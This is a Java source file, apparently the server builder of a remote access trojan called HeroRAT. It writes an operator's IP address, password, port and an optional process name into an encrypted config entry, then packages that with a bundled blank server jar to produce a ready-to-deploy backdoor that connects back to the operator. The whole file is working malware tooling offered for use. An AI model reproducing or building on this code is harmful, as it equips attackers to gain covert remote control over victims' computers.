package net.herorat.features.create;

import java.io.FileOutputStream;
import java.util.Date;
import java.util.jar.JarEntry;
import java.util.jar.JarInputStream;
import java.util.jar.JarOutputStream;
import java.util.jar.Manifest;

import javax.swing.JOptionPane;

import net.herorat.Main;
import net.herorat.utils.Crypto;


public class Create
{
    public static void create(String ip, String password, int port, String path, String process)
    {
        if (path.equals(""))
        {
            path = "Server_" + new Date().getTime() + ".jar";
        }
        else if (!path.endsWith(".jar"))
        {
            if (path.lastIndexOf(".") > 0)
            {
                path = path.substring(0, path.lastIndexOf(".")) + ".jar";
            }
            else
            {
                path += ".jar";
            }
        }

        StringBuffer buffer = new StringBuffer();

        buffer.append(ip);
        buffer.append("###");
        buffer.append(password);
        buffer.append("###");
        buffer.append(String.valueOf(port));

        if (!process.equals(""))
        {
            buffer.append("###");
            buffer.append(process);
        }

        try
        {
            JarInputStream input = new JarInputStream(
                    Create.class.getClassLoader().getResourceAsStream("/lib/blank_server.jar")
            );
            Manifest mf = new Manifest();
            mf.read(Create.class.getClassLoader().getResourceAsStream("/lib/blank_manifest.mf"));
            JarOutputStream output = new JarOutputStream(new FileOutputStream(path), mf);

            output.putNextEntry(new JarEntry("config.cfg"));
            output.write( Crypto.byteToHex(Crypto.crypt(buffer.toString())).getBytes() );
            output.closeEntry();

            byte[] content_buffer = new byte[1024];
            JarEntry entry;
            while ((entry = input.getNextJarEntry()) != null)
            {
                if (!"META-INF/MANIFEST.MF".equals(entry.getName()))
                {
                    output.putNextEntry(entry);
                    int length;
                    while ((length = input.read(content_buffer)) != -1)
                    {
                        output.write(content_buffer, 0, length);
                    }

                    output.closeEntry();
                }
            }

            output.flush();
            output.close();
            input.close();

            JOptionPane.showMessageDialog(Main.mainWindow.panel_tab1, "Server was successfully created");
        }
        catch (Exception e)
        {
            e.printStackTrace();
        }
    }
}